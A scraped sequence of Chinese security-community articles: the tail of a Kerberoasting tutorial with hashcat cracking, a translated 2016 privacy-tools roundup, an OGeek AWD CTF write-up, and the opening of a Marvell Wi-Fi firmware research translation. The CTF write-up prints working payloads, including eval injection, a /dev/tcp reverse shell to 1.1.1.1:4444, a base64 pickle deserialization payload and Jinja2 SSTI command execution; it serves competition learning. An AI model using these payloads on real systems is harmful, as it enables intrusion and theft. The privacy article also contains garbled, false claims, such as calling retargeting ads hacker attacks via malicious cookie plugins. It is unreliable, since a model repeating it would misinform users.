*/*命令查询域内SPN时，通过抓包可以看到正是通过LDAP协议向域控中安装的LDAP服务查询了SPN的内容。
所以其实那些Powershell脚本其实主要就是通过查询LDAP的内容并对返回结果做一个过滤，然后展示出来。
## 0x04 Kerberoasting
在前面介绍Kerberos的认证流程时说到，在KRB_TGS
_REP中，TGS会返回给Client一张票据ST，而ST是由Client请求的Server端密码进行加密的。当Kerberos协议设置票据为RC4方式加密时，我们就可以通过爆破在Client端获取的票据ST，从而获得Server端的密码。
下图为设置Kerberos的加密方式，在域中可以在域控的“组策略管理”中进行设置：
设置完成之后运行里输入“gpupdate”刷新组策略，策略生效。
### 1 早期的Kerberoasting
Kerberoasting这种攻击方式最初应该是由TimMedin（<https://twitter.com/TimMedin>）提出，下面我们通过实验来进行演示。
实验环境：
域：YUNYING.LAB
域控：Windows Server 2008 R2 x64(DC)
域内主机：Windows 7 x64(s1):用户ts1
域内主机：Windows Server 2008 R2 x64(s2):用户tsvc
所需工具：
Kerberoast工具包
Mimikatz
攻击流程：
* 在域内主机s1中通过Kerberoast中的GetUserSPNs.ps1或者GetUserSPNs.vbs进行SPN扫描。
* 根据扫描出的结果使用微软提供的类KerberosRequestorSecurityToken发起kerberos请求，申请ST票据。
[https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.kerberosrequestorsecuritytoken?redirectedfrom=MSDN&view=netframework-4.7.2](https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.kerberosrequestorsecuritytoken?redirectedfrom=MSDN&view=netframework-4.7.2)
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken
-ArgumentList “MSSQLSvc/s2:1433”
可以看到这个过程通过AS-REQ、AS-REP、TGS-REQ、TGS-REP这四个认证流程，获取到RC4方式加密的票据。
* Kerberos协议中请求的票据会保存在内存中，可以通过klist命令查看当前会话存储的kerberos票据。
使用mimikatz导出。
使用kerberoast工具集中的tgsrepcrack.py工具进行离线爆破，成功得到tsvc账号的密码admin1234!
### 2 Kerberoasting的“新姿势”
实验环境：
域：YUNYING.LAB
域控：Windows Server 2008 R2 x64(DC)
域内主机：Windows 7 x64(s1):用户ts1
域内主机：Windows Server 2008 R2 x64(s2):用户tsvc
所需工具：
Invoke-Kerberoast.ps1
HashCat
攻击流程：
在之前的Kerberoasting中需要通过mimikatz从内存中导出票据，Invoke-Kerberoast通过提取票据传输时的原始字节，转换成John
the Ripper或者HashCat能够直接爆破的字符串。
环境不变，在s1主机上使用Invoke-Kerberoast脚本(这里使用的是Empire中的Invoke-Kerberoast.ps1)。
Invoke-kerberoast –outputformat hashcat | fl
这里–outputformat参数可以指定输出的格式，可选John the Ripper和Hashcat两种格式，这里以Hashcat做演示。
这个脚本申请访问的是MSSQLSvc/s2.yunying.lab:1433这个SPN。查看数据包可以看到Invoke-Kerberoast输出的Hash值就是TGS-REP中返回的票据内容，然后拼接成了Hashcat可以直接爆破的格式（以$krb5tgs$23*开头的）。
把内容保存至文档，也可以直接重定向到TXT文件：
PS C:> Invoke-Kerberoast -Outputformat Hashcat | fl > test1.txt
使用HASHCAT工具进行破解：
PS C:> hashcat64.exe –m 13100 test1.txt password.list –force
可以看到这里已经离线破解成功，输出了s2的密码admin1234!。在这里–m表示选择不同的加密类型，其中13100对应的是Kerberos 5 TGS-REP类型的密文。
更多的Hashcat的类型可以参考：<https://hashcat.net/wiki/doku.php?id=example_hashes>
### 3 Invoke-kerberoast的实现
最初进行这个实验的时候是直接在GitHub上搜索的Invoke-kerberoast，当时下载的是<https://github.com/malachitheninja/Invoke-Kerberoast>这个地址的，但是下载完之后发现这个地址的工具并不能正常使用，查看代码发现在字符串拼接时格式的问题，输出的内容并不符合Hashcat的格式。然后直接使用了Empire中的Invoke-kerberoast.ps1脚本（下载地址：<https://github.com/EmpireProject/Empire>）。下面就拿这个脚本来说明。
在Invoke-kerberoast中通过两个关键函数看脚本执行的主要流程，一个是function Invoke-Kerberoast
{}一个是function Get-DomainSPNTicket {}。
首先在Invoke-Kerberoast函数中通过脚本中的函数Get-DomainUser查询组内所有用户LDAP库中存储的内容，并去除krbtgt之后通过管道符传给Get-DomainSPNTicket。
Get-DomainUser输出的值（-erroraction “Silentlycontinue”消除powershell中的红字告警，也可以直接去掉）：
函数Get-DomainSPNTicket在接收到Get-DomainUser的输出结果后提取SPN（ServicePrincipalName）字段的值，然后取其中的第一个赋值给变量UserSPN。我们在代码中添加echo语句，然后再执行可以看到本次的结果选取了SPN列表中的第一条MSSQLSvc/s2:SQLEXPRESS。
通过KerberosRequestorSecurityToken类的GetRequest()函数发起kerberos请求。随后通过匹配返回值，提取票据内容。
将提取的票据的值组合成Hashcat要求的格式之后赋值给变量HashFormat，也就是最终我们可以用Hashcat或者John the
Ripper来爆破的值。
同样，上图框中的变量$Etype的值是23，实际上就是RC4加密算法的代号。
Kerberoasting的本质是通过破解在Kerberos认证流程中的KRB_TGS_REP这个过程中TGS返回给Client的票据内容来进行密码的获取，在一个大型的域中还是有一定的利用价值，并且这种方式是离线爆破，过程较为隐蔽。
## 0x05小结
本文主要说明了kerberos的基本原理以及SPN扫描的内容，介绍了Kerberoasting的攻击手法，Kerberos的原理较为复杂，但是深刻理解之后有助于对于了解其他Kerberos攻击手法是由很大帮助的。同时kerberos在windows的实现中与其他的协议也有一些相关联，多了解一点其他协议也是有必要的。下一篇中我将对MS14068漏洞和银票据金票据的利用和原理进行探究，感谢阅读。
实验工具
<https://github.com/nidem/kerberoast>
<https://github.com/PyroTek3/PowerShell-AD-Recon>
<https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1>
## 参考链接
<https://pentestlab.blog/2018/06/12/kerberoast/>
<http://www.harmj0y.net/blog/activedirectory/targeted-kerberoasting/>
<https://skypacer210.github.io/2014/04/09/kerberos-those-thing/>
<https://docs.microsoft.com/en-us/previous-versions/aa302203(v=msdn.10)#msdn_pac_request>
<https://tools.ietf.org/html/rfc1510> | 社区文章 |
# 2016年7个最佳的在线隐私保护工具，包括匿名搜索、VPN、私密浏览器等
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://www.techworld.com/security/best-7-online-privacy-tools-2016-vpns-anonymous-search-browser-secrecy-3633529/>
译文仅供参考，具体内容表达以及含义原文为准。
相信大家在使用互联网时，通常都会遇到这样一个令人厌烦的问题，那就是当你在使用浏览器浏览网页时，不经意间，窗口上就会弹出一个横幅广告，宣传某个商家推出的某种产品。同时，在你的浏览记录中还会记录这些广告出现的时间，比如在过去的几个小时，几天，或是几个月内。这些植入式广告似乎在每一个网站都有，给用户的感觉就是，你永远都无法避开。大多数人都知道，这些被称为再处理或再定位的跟踪式广告，其实是黑客的一种网络攻击方式。黑客可通过在用户浏览器中植入恶意cookie插件，来实施攻击。
在一些搜索引擎提供商，比如：谷歌，微软，雅虎，甚至是一些大家从没听说过的小公司提供的浏览器中，都会存在这样的广告系统。这种广告系统的可怕之处就在于，它会留意用户正在浏览的网站，在它认为是一个用户会点开该广告的时机内，会在某一个用户正在浏览的网站上，立即弹出产品广告，这听起来好像有点人工智能的意思了。一些厂家为了推广自己的产品，就采用了这种方式，他们还为此支付了一定的费用。如果用户不能够定期地对自己浏览器的cookie记录进行清理的话，那么这些广告记录就会一直被保存，并且网站上时不时还会弹出相同的广告，给用户造成困扰。
这听起来有点恐怖吧。当你在使用互联网，遇到这种情况时，你可能都不明白这到底是怎么回事。对广告商而言，这种方式只对那些充满好奇心的互联网用户有效果，因为他们会点开这些广告来看。而对于那些已经对广告感到麻木的用户来说，这就不会奏效了。
现在，不仅一些广告商的网站会对用户的私密信息造成威胁，同时还包括一些流行的免费服务，比如：搜索引擎、社交媒体、云存储以及网站邮箱等。这些服务提供商已经将收集大量的个人资料，作为其商业经营模式的一个基本组成部分了。数量庞大的用户数据，对这些广告商来说，简直是一笔巨大的财富。通常这些服务都是免费的，因为这些服务的提供商可通过另一种渠道来赚取利润，就是将一些统计好的用户的兴趣热点和浏览习惯，卖给第三方，从而谋取暴利。与此同时，一些政府出于维护国家网络安全和治安稳定的角度，要求更多的宽带提供商，要投入更多的精力来存储用户的互联网历史记录。
**隐私维护成本—动态定价**
令人感到不安的是，这种个人广告追踪的成本是通过一项叫做“动态定价”市场营销规则来确定的。具体的操作过程是：某个网站的一个神秘用户，如果他有类似的需求，就可以向该网站服务商提出来，服务商就会根据需求来划定价格，同时在使用过程中，还要增加其他服务的话，那么就要多付费用。该实现过程从来都是不透明的，属于一种暗箱操作。但从浏览器使用记录、搜索引擎显示的使用时间、以及显示用户购买历史的概要数据上，我们都可以看出一定的端倪。搜索的数量越高，价格也会随之上涨。
比如：预订机票，酒店、租赁汽车等，这些都是最常见的在线商品购买服务。它们都是通过一个网络中间商来完成。其中的规则就是由中间商来制定，同时他们也没必要向用户做出太多，关于规则的解释。在这些情况中，用户的隐私是被严格保护的，但一些互联网提供商并不愿意这样做。
**要谨慎使用一些匿名ISP（互联网服务提供商）推出的VPN**
实现对用户隐私的保护，需要找到一个方法，来缩小ISP的监管范围，以及减少其对浏览器，搜索引擎和网站内置的剖析。与此同时，还要关注那些用来解析IP地址的DNS域名服务器，因为它们正越来越多地被用于数据采集系统中。
从理论上讲，屏蔽ISP服务的传统方法是通过使用VPN。最近，Techworld为英国用户推出了一款免费的VPN。它具有一种独立的功能。因而我们也就没必要去提更多的建议了，但有一点很关键，在使用过程中，用户也没必要再去做一些关于该技术的，天真的设想了。因为用户逐渐就会感觉到它的优越性。VPN技术是在公用网络上，为用户建立专用网络，进行加密通讯。这就意味着在使用了VPN后，系统会隐藏用户的IP地址和ISP域名。不过，请注意，此时VPN的提供商还是能知晓用户所访问的网站和ISP的IP地址。
为什么有些VPN是免费的？这是个不错的问题，唯一的解释就是，VPN提供商可对用户的行为进行精确分析。而这并不违法，只是出于商业目的。实际上，用户是充当了在VPN和ISP之间的一名间谍。
在斯诺登事件被曝光之后，越来越多的服务商宣称自己并没有保存用户的日志记录，但用户却表达了自己在这方面的需求。想要躲避跟踪和分析是一回事，而试图避免情报刺探则完全是另一回事。因为后者假定在VPN软件中不存在漏洞，以及加密信息没有遭到泄漏。
下面就是2016年7个最佳的在线隐私保护工具：
**1\. IPVanish提供的VPN服务**
IPVanish是美国一家著名的软件服务提供商，它致力于为用户提供类型广泛的客户端软件，包括Windows、Mac、Linux、Ubuntu系统软件，以及智能手机上Android、iOS和Windows
Phone等不同操作系统的App。同时，该公司还在DD-WRT和Tomato上设置专门的通道，为那些使用开源路由器固件的用户提供了便利。当他们在咖啡馆等地办公时，能使用到高速便捷的网络。同时，也提升了公司在维护安全领域的影响力。用户在使用该公司的VPN时，不需要提供个人的私密信息。
它有两个套餐供用户选择：每月10美元（约为6.5英镑），或78美元（约为52英镑），用户还可通过比特币进行支付。
**2．Cyberghost提供的VPN服务**
另一个多平台的VPN服务，是由Cyberghost公司（一家德国的VPN公司）提供的。该公司旨在宣传VPN对隐私安全性的保护，这个就是它最大的卖点。其中包括支持多种网络协议（OpenVPN、IPSec、PPTP和L2TP）、预防DNS泄漏、IP共享（实质上是用户通过一个虚拟IP划分出多个子网）和IPv6的保护等。该公司为英国用户设置了大约50个服务器，同时还表示，它不会存储用户的数据。
价格的高低是以被保护的设备数量多少来定。设备的保护费用是：一台设备一个月3.99美元，而如果要是5台设备一起使用的话，那么就是每台6.99美元/月。
**私密浏览器**
如果用户在浏览器上使用某些特定服务时，所有的供应商都表示，自己的浏览器一定是私密浏览器，能够很好地保护用户隐私。比如：带有用户隐身和私人模式等功能。像谷歌公司的Chrome和微软公司的Edge，两款浏览器应该会是用户们的首选。其他的一些公司会去追踪和记录用户的私密数据，而毫不理会制造商的想法。谷歌公司在这一点上就做的比较好，他们并不会隐瞒这一事实，并且还会对用户解释，这样设置隐私保护工作的原因。
**3.Firefox浏览器**
相比之下，Firefox（火狐）公司推出的浏览器就有些逊色了，因为它的主要功能并不是进行用户追踪，而是为用户提供便捷。而当你要使用第三方登陆服务时，它可能就帮不上忙了。这就是为什么要在浏览器中设置隐私插件的原因了。
最近，我们又重新审视了市场上的其他私密浏览器和其提供的服务，比如：Tor（一款能允许用户实现匿名浏览的浏览器），但它不允许用户添加附加组件。
**4．具有隐私浏览切断插件的VPN**
Disconncet（断线）机制在传统定义上，其实是一个很模糊的隐私插件。虽然它能提供私密浏览、隐私可见性（它包含有控制追踪一些著名社交网站的cookie）以及私人搜索等功能。但本质上，它是一个能够让用户匿名使用搜索引擎的VPN。更新之前的版本能在火狐浏览器上使用，而更新之后，只有在Chrome上才能使用了。当然，该服务也是付费使用。如果是三台设备在使用同一种服务的话，那么需要缴纳一定数量的年费。
Disconncet，在本质上来说，其实是在VPN的概念上发生了转变，与之前的浏览器附加组件有所不同。该服务的理念是，是收集而不是存储个人资料，同时，除非是出于法律要求的角度，否则不会披露任何的私人信息。
首先，该插件本身是免费的，但每年需缴纳50美元的维护费。Mac/iOS用户还可以再出相同的费用，来购买一种叫“Private Pro”的单独服务。
**私密搜索引擎**
有些用户可能会担心私密搜索引擎的安全性，这其实没必要。因为这在之前就已经讨论过，它具有很高的稳定性。但其中还是有几个地方值得探讨。这种方法的优点是，它是免费的，而且使用起来非常简单。用户可通过VPN使用不同的搜索引擎，并且不需要支付任何的费用，或安装任何插件。
**5.来自美国的DuckDuckGo**
DuckDuckGo（一个互联网搜索引擎，其总部位于美国宾州Valley
Forge市）应该是到目前为止，我们所了解到，在私密浏览方面做得最好的浏览器了。在2014年11月，它曾被嵌入到Mozilla
Firefox中。我们之所以会喜欢DuckDuckGo，是因为它会通过保护用户的搜索信息，不记录用户的搜索内容的方式，防止其遭到泄漏。这就意味着，被访问站点将无法得知用户的搜索内容，同时，不会向服务器代理商发送用户的IP地址。它还提供了一个加密的版本，该版本能让用户通过使用加密版本浏览器，连接上一些主要网站，对网站和用户之间的隐私进行保护。
DuckDuckGo还提供了一个完整的密码保护云存储设置，允许用户创建搜索策略，以及跨设备同步使用这些搜索引擎。
**6.来自英国的Oscobo**
Oscobo（总部位于英国，由一名前雅虎雇员和黑莓雇员创立）于2015年底横空出世。它一问世，就与DuckDuckGo形成了正面竞争的局面。不同之处在于，Oscobo能够自动返回默认搜索结果，而DuckDuckGo则需要手动设置这一命令。与DuckDuckGo一样，Oscobo的搜索结果也是基于Yahoo和Bing的引擎。除此之外，Oscobo也不记录IP地址和其他任何用户数据。根据其创始人的说法，他们提供的搜索服务可以算得上是数一数二的。而他们又是通过什么来挣钱的呢？对于任何的搜索引擎提供商来说，都是从相应广告商之间拿到报酬。
**DNS域名服务器**
最近，一篇标题为“Computer UK”文章中反映了一个覆盖DNS域名服务器的问题，包括Norton ConnecSafe, OpenDNS,
Comodo Secure DNS, DNS.Watch, VeriSign and,
和Google等公司推出的DNS服务器都涉及其中。吸引读者眼球的地方就在于，这些公司都提供了非常棒的DNS性能服务，有些时候还能确保更深次的网络安全。在此基础上，我们强烈建议将他们列入ISP
DNS的行列。
然而，对于任何的DNS域名服务器，都有隐私问题。因为越来越多的免费服务是由数据采集驱动。想要完全绕过域名服务器的唯一方法就是，使用供应商提供的VPN。而重点则是，虽然使用一种替代方法的成本要低于ISP，但需要一些隐私信息的牺牲作为代价，这其实还是不划算的。
**7.DNS.Watch**
在84.200.69.80和84.200.70.40的地址下，可使用DNS.Watch。DNS.Watch是一款对DNS服务器进行监控和查询的DNS监测工具。我们发出了声明：“我们不想在数据上做手脚。虽然我们是一家小公司，但不会参与一些不正当的交易。更不会去按你们的意愿，来提供任何的广告服务和所谓你感兴趣的DNS查询服务。” | 社区文章 |
## 前言
ogeek决赛已经过去大半个月,看到题目才想起来wp没写.
决赛一共有3道web题,php,java,python都有.但我的php和java代码审计水平有点菜,只能抱队友大腿折腾python这种漏洞比较明显的才勉强过得了日子.
赛制很友好,防守也能得分,最后大多数队伍防守分都是攻击分的两三倍.
题目源码:<https://pan.baidu.com/s/1YgjnLu17KBr1KVMlymfsyw>
## 复现
python的flask框架,比起php和java的几十上百个文件,python的代码就友好的多了.
主要逻辑都在`app.py`里面,python的漏洞也比较明显,web3是大多数队伍的主要攻击目标.
### robots后门
见面就是一个简陋的后门,
@app.route('/robots.txt',methods=['GET'])
def texts():
return send_from_directory('/', open('/flag','r').read(), as_attachment=True)
把flag放在robots.txt里,访问就可以拿到.
### eval后门
def set_str(type,str):
retstr = "%s'%s'"%(type,str)
print(retstr)
return eval(retstr)
定义了一个很奇怪的函数,一看就知道是刻意设置的后门,全局搜索哪里调用.
@app.route('/message',methods=['POST','GET'])
def message():
if request.method == 'GET':
return render_template('message.html')
else:
type = request.form['type'][:1]
msg = request.form['msg']
...
if len(msg)>27:
return render_template('message.html', msg='留言太长了！', status='留言失败')
msg = msg.replace(' ','')
msg = msg.replace('_', '')
retstr = set_str(type,msg)
return render_template('message.html',msg=retstr,status='%s,留言成功'%username)
看到message中有调用,且有简单限制,msg长度得小于27个字符且不能有空格和下划线,type只能输入一个字符
读flag的poc比较简单,payload如下:
post: `type='&msg=%2bopen('/flag').read()%2b'`
赛后花了不少时间思考能不能getshell,折腾半天终于成功,正好27个字符.
post: `msg=%2Bos.popen("echo%09-n%09b>>a")%2B'&type='`
简单分析payload,
首先需要通过python解释器,因此不能有语法错误,需要前后单引号以及+号闭合.
原本的app.py中已经导入os,帮了个大忙,可以使用os.popen()执行命令
不能有空格,但在bash中`tab`与空格等价url编码为`%09`
echo不输出换行符可使用参数-n.
请求后会报错,但实际上已写入文件.
依次写入反弹shell的payload:`bash -c 'bash -i >/dev/tcp/1.1.1.1/4444 0>&1'`,空格用tab代替.
最后post请求`msg=%2Bos.popen("sh%09a")%2B'&type='`即可执行代码反弹shell.
### pickle反序列化
看到import了pickle这个库,第一反应就是python反序列化.
全局搜索pickle.
@app.route('/message',methods=['POST','GET'])
def message():
if request.method == 'GET':
return render_template('message.html')
else:
type = request.form['type'][:1]
msg = request.form['msg']
try:
info = base64.b64decode(request.cookies.get('user'))
info = pickle.loads(info)
username = info["name"]
except Exception as e:
print(e)
username = "Guest"
...
return render_template('message.html',msg=retstr,status='%s,留言成功'%username)
大致逻辑是,如果是post请求,则获取cookie中的user字段,base64解码,并触发反序列化.
反弹shell的payload,需要base64编码:
cposix
system
p1
(S"bash -c 'bash -i >/dev/tcp/1.1.1.1/4444 0>&1'"
p2
tp3
Rp4
.
如果要直接返回flag,得使返回值的类型为字典,且有name键.
### numpy反序列化(CVE-2019-6446)
队里大佬找出来的,我都不知道numpy啥时候出了漏洞,.
这个洞非常坑,虽然找到了漏洞,也非常容易修复,但一改就被checkdown.
最后尝试使用replace替换黑名单关键字,但还是被人疯狂拿分.也可能是没发现的其他漏洞.
@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
if request.method == 'GET':
return render_template('getvdot.html')
else:
matrix1 = base64.b64decode(request.form['matrix1'])
matrix2 = base64.b64decode(request.form['matrix2'])
try:
matrix1 = numpy.loads(matrix1)
matrix2 = numpy.loads(matrix2)
except Exception as e:
print(e)
result = numpy.vdot(matrix1,matrix2)
print(result)
return render_template('getvdot.html',msg=result,status='向量点积')
因为numpy的loads方法调用的也是pickle,因此pickle的payload还是可以用.
payload: post提交:
`matrix1=Y3Bvc2l4CnN5c3RlbQpwMQooUyJiYXNoIC1jICdiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjU4LjEvNDQ0NCAwPiYxJyIKcDIKdHAzClJwNAou&matrix2=MQ==`
同样会报错,但是能成功反弹shell.
### Jinja2.from_string SSTI
也是今年新洞
<https://www.exploit-db.com/exploits/46386>
@app.route('/hello',methods=['GET', 'POST'])
def hello():
username = request.cookies.get('username')
username = str(base64.b64decode(username), encoding = "utf-8")
data = Jinja2.from_string("Hello , " + username + '!').render()
is_value = False
return render_template('hello.html', msg=data,is_value=is_value)
data处使用了 Jinja2.from_string直接拼接字符串,存在ssti.
poc 需要base64编码填入在cookie的username字段,还因为是python3 一些payload不能使用.
读flag:
`{% for c in [].__class__.__base__.__subclasses__() %}{% if
c.__name__=='catch_warnings' %}{{
c.__init__.__globals__['__builtins__'].open('\\flag', 'r').read() }}{% endif
%}{% endfor %}`
执行命令:
`{% for c in [].__class__.__base__.__subclasses__() %}{% if
c.__name__=='catch_warnings'
%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")
}}{% endif %}{% endfor %}`
### flask日志记录
flask本身的日志功能并不能满足AWD的需求,就随手写了一个.比赛中是用队里大佬临时写的,赛后重新写了一个
def awdlog():
import time
f = open('/tmp/log.txt','a+')
f.writelines(time.strftime('%Y-%m-%d %H:%M:%S\n', time.localtime(time.time())))
f.writelines("{method} {url} \n".format(method=request.method,url=request.url))
s = ''
for d,v in dict(request.headers).items():
s += "%s: %s\n"%(d,v)
f.writelines(s+'\n')
s = ''
for d,v in dict(request.form).items():
s += "%s=%s&"%(d,v)
f.writelines(s.strip("&"))
f.writelines('\n\n')
f.close()
因为python这题check比较严格,上了waf一直被checkdown,所以没写waf.不过和php的道理是一样的.
### python webshell
比赛中虽然没用上,可以准备着,万一哪次就用到了.
<https://github.com/evilcos/python-webshell/blob/master/webllehs.py>
### 小结
java题 writeup : [一叶飘零师傅写的2019 OGeek Final & Java
Web](https://www.4hou.com/web/20619.html)
php题writeup: [xmsec师傅写的ogeek-ozero-wp](https://www.xmsec.cc/ogeek-ozero-wp/) | 社区文章 |
# 利用Marvell Avastar Wi-Fi中的漏洞远程控制设备：从零知识入门到RCE漏洞挖掘利用（上）
|
##### 译文声明
本文是翻译文章，文章原作者 embedi，文章来源：embedi.org
原文地址：<https://embedi.org/blog/remotely-compromise-devices-by-using-bugs-in-marvell-avastar-wi-fi-from-zero-knowledge-to-zero-click-rce/>
译文仅供参考，具体内容表达以及含义原文为准。
## 研究背景
我想通过本次研究来回答一个长期以来萦绕在我脑海中的问题：到底Marvell WiFi FullMAC SoC(system-on-chip系统芯片)在多大程度上是安全的。由于具有可分析性芯片的无线设备未被完全研究透彻，它们可能包含大量未经审计的代码。应用这些WLAN卡的大量设备很有可能存在严重漏洞。这篇文章是基于原作者在ZeroNights
2018演讲中[所谈及的内容](https://2018.zeronights.ru/en/)。
所以可以跟随着PPT来学习这篇文章的内容([ppt链接](https://embedi.org/wp-content/uploads/files/\(Ed\)ZN2018_Denis_v2.0.pdf))。
除此之外,互联网上还有一些关于无线SoC安全主题的著名研究。例如，Google Project
Zero于2017年4月发布了一系列文章描述在智能手机上利用[Broadcom Wi-Fi堆栈](https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting-broadcoms-wi-fi_4.html)。 在[BlackHat
2017会议上也讨论了这个主题](https://www.blackhat.com/us-17/briefings.html#broadpwn-remotely-compromising-android-and-ios-via-a-bug-in-broadcoms-wi-fi-chipsets)。
一些智能手机基带(频率范围非常窄的信号)exploits的[write-ups](https://github.com/comsecuris/shannonRE)有助于更好理解用于反向设计无线SoC固件的技术。
Marvell(迈威科技集团有限公司，现更名美满。全球顶尖的无晶圆厂半导体公司之一，全球发展最快的半导体公司之一)
## 无线设备如何工作和启动
一般来说，Wi-Fi加密狗有两大类：FullMAC和SoftMAC。它们都需要固件镜像，这些镜像会在每次设备启动时被上传。设备制造商提供适当的固件镜像和操作系统设备驱动程序，使得在启动期间，驱动程序可以上传固件镜像，使镜像应用于Wi-Fi SoC中。下面这一张图片说明了这个过程。
SoftMAC和FullMAC加密狗之间的主要区别在于其固件功能。此外，FullMAC加密狗的固件具有MLME（MAC层管理实体）功能。换句话说，它能够在SoC上处理一些Wi-Fi管理帧和事件，而不需要操作系统驱动程序的任何支持。（这里提到的MAC指的是MAC层，Media Access Control layer）
显然，FullMAC加密狗的攻击面更大，所以我们对FullMAC更感兴趣
## Wi-Fi SoC与驱动程序之间的交互
Linux内核有两个版本的驱动程序，用于处理Marvell Wi-Fi：
1. `mwifiex` 驱动程序（源代码可以在官方的linux repo中找到）
2. `mlan`和`mlinux`驱动程序（可以在官方的steamlink-sdk repo中找到）
这两类驱动程序都有一些调试功能，允许我们读/写SoC内存。驱动程序使用内部格式将信息发送到Wi-Fi
SoC或从SoC接收事件或响应。我们使用Marvell开源驱动程序mwifiex的源代码来研究这种内部格式。Wi-Fi SoC有几种定义类型的数据。
3. COMMAND
4. EVENT
5. DATA
6. SINGLE PORT AGGREGATED DATA
Wi-Fi SoC和设备驱动程序之间的交互模式可以在下图中看到
我们更喜欢去考虑比如固件的API这样的命令。这些命令我们将其分为几组：
1. SoC存储器的 READ/WRITE 命令
2. 固件扩展版本信息（如SteamLink中的`w8897o-B0, RF8XXX, FP68, 15.68.7.p206`）
与Wi-Fi相关的东西（如Association，scanning……,这里的association指设备之间的关联和记录，比如wifi信息在手机上保存等等）
其中一些可以使用驱动程序实现的IOCTL(输入输出控制)或特殊的debugfs文件从用户态进行访问。驱动程序最有用的功能之一是它拥有固件内存转储机制。这有助于调试我们的动态检测或利用。超时机制是在操作系统驱动程序中实现的。因此，当命令响应超时时，驱动程序将尝试转储Wi-Fi
SoC内存并将其存储在主机文件系统中。内存转储在mwifiex和mlan+mlinx驱动程序中具有不同的格式。我研究了mwifiexPCI驱动程序，发现它以类似于固件镜像的格式存储完整的Wi-Fi SoC内存转储的数据。SDIO-Wifi版本的mlan+mlinx驱动程序仅以原始二进制格式存储ITCM，DTCM和SQRAM区域。
## 固件分析
如前所述，Marvell Avastar Wi-Fi芯片组系列使用固件文件，这些固件承载了大部分设备功能。
除此之外还有ROM，ROM包含启动代码和在将主固件加载到芯片RAM之前与主机交互的功能。
官方linux-firmware git repo提供了几个版本的固件。因此，我们首先研究驱动程序初始化Wi-Fi SoC所使用的固件镜像
### 静态固件文件分析
为了获取有关固件RAM镜像结构的一些基本逻辑，我们可以查看Marvell Wi-Fi驱动程序代码，该代码将固件加载到Wi-Fi
SoC（[https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git/tree/drivers/net/wireless/marvell/mwifiex/fw.h）。](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git/tree/drivers/net/wireless/marvell/mwifiex/fw.h%EF%BC%89%E3%80%82)
...
struct mwifiex_fw_header {
__le32 dnld_cmd;
__le32 base_addr;
__le32 data_length;
__le32 crc;
} __packed;
struct mwifiex_fw_data {
struct mwifiex_fw_header header;
__le32 seq_num;
u8 data[1];
} __packed;
...
注意到固件文件包含一些带有头部和检验和的内存块。内存将会被加载到内存块头部中的Soc地址。根据这些知识，我们使用IDA Pro对Marvell
Avastar的固件文件进行进一步的研究。
我们可以发现88W8897是具有8个MPU区域的ARM946微控制器。所有内存都是RWX。固件文件还包含对ROM功能的引用。因此，为了进一步研究，我们需要一个ROM转储文件。下图是88W8897
Wi-Fi芯片的存储器映射关系。未知的存储器区域似乎是存储器映射关系中的寄存器区域。
### 动态固件分析&ThreadX运行结构恢复
我们可以利用READ和WRITE命令创建一个可以转储内存和仪器固件的简单工具。通过这个工具，我们可以获得一些运行时信息。值得注意的是，固件看起来像一个很大的不透明二进制文件。它只包含几个字符串，没有任何提示关于这些设备如何运行以及我们应该在何处或如何开始寻找错误。但是，在研究了ROM转储之后(通过我们制造的工具获得)，我们可以发现这是一个基于ThreadX的固件。
ThreadX是一种广泛用于智能设备的专有RTOS。可以根据license来获取此RTOS的源代码。ThreadX基本上只是一个运行时的环境。它包含用于管理线程之间的动态内存，线程和通信的函数。它是最受欢迎的RTOS之一，部署超过60亿。通过ID字段，我们可以在内存中搜索ThreadX运行时的结构。我们发现如果搜索出的结构有效，则ID字段应该是一个特定值。比如在下面这个线程结构体中
typedef struct TX_THREAD_STRUCT
{
/* The first section of the control block contains critical
information that is referenced by the port-specific
assembly language code. Any changes in this section could
necessitate changes in the assembly language. */
ULONG tx_thread_id; /* Control block ID */
...
}
第一个4字节字段`tx_thread_id`必须包含值`0x54485244`或`THRD`。这提供给我们更多的信息，因为其中一些ThreadX对象包含名称，这使得我们可以通过名称来猜测它们的用途。我们通过编写一个IDA脚本将ThreadX运行时的结构重构。该脚本还可用于研究另一个基于ThreadX的设备内存转储文件。ThreadX结构重建的一些摘要如下表所示（表中的地址对于版本号位`w8897o-B0,
RF8XXX, FP68, 15.68.7.p206`的steamlink固件有效）：
### 动态固件分析&动态固件检测
在刚开始寻找固件中的漏洞时，我们只有以下几条已知信息：
1. 源代码不可用
2. 处理或解析帧的代码未知
3. Wi-Fi SoC包含少量内存，足以满足其目的，我们无法在Wi-Fi SoC内使用我们的脚本进行模糊测试或变量覆盖测试。
由于我们找不到对于第1点和第3点的任何深入研究的方法，因此我们只能通过研究运行固件来查找负责处理Wi-Fi帧的函数。使用`READ/WRITE`命令可以在Wi-Fi SoC上进行以下几种类型的热分析。
1. 我们可以hook一个函数（使用一些拼接技术）。
2. 我们可以替换一些类似调试或日志的例程的指针。
3. 我们可以跟踪块池分配/释放。
4. 我们甚至可以使用static thumb函数调用（例如具有函数级粒度的DBI）来检测整个代码区域。
在我们的Wi-Fi SoC研究工具中，实现前三点非常简单。但实现最后一个有一定难度。基本上，我们的工具使用capstone反汇编引擎来查找thumb
BL指令（该指令在函数调用中使用），并将其替换为对instrumentation stub的调用[原文为instrumentation
sub,应该是写错了]。该 instrumentation
stub负责调用我们的自定义DBI工具(含有正确参数的原始固件函数)，并返回调用引用。该算法非常简单：
可以从下图中获得有关instrumentation stub 工作流程的更多详细信息：
因此，为了在Wi-Fi SoC上应用我们的脚本，我们需要：
1. 从Wi-Fi SoC读取待检测的存储区域。
2. 用capstone对它进行反编译。
3. 创建patch程序代码将用于patch内存中的固件并调用检测用户定义例程的结构体。
4. 将这些结构体，特殊的patch程序代码， stubs(上文提到的instrumentation stub)和用户定义的例程复制到Wi-Fi SoC。
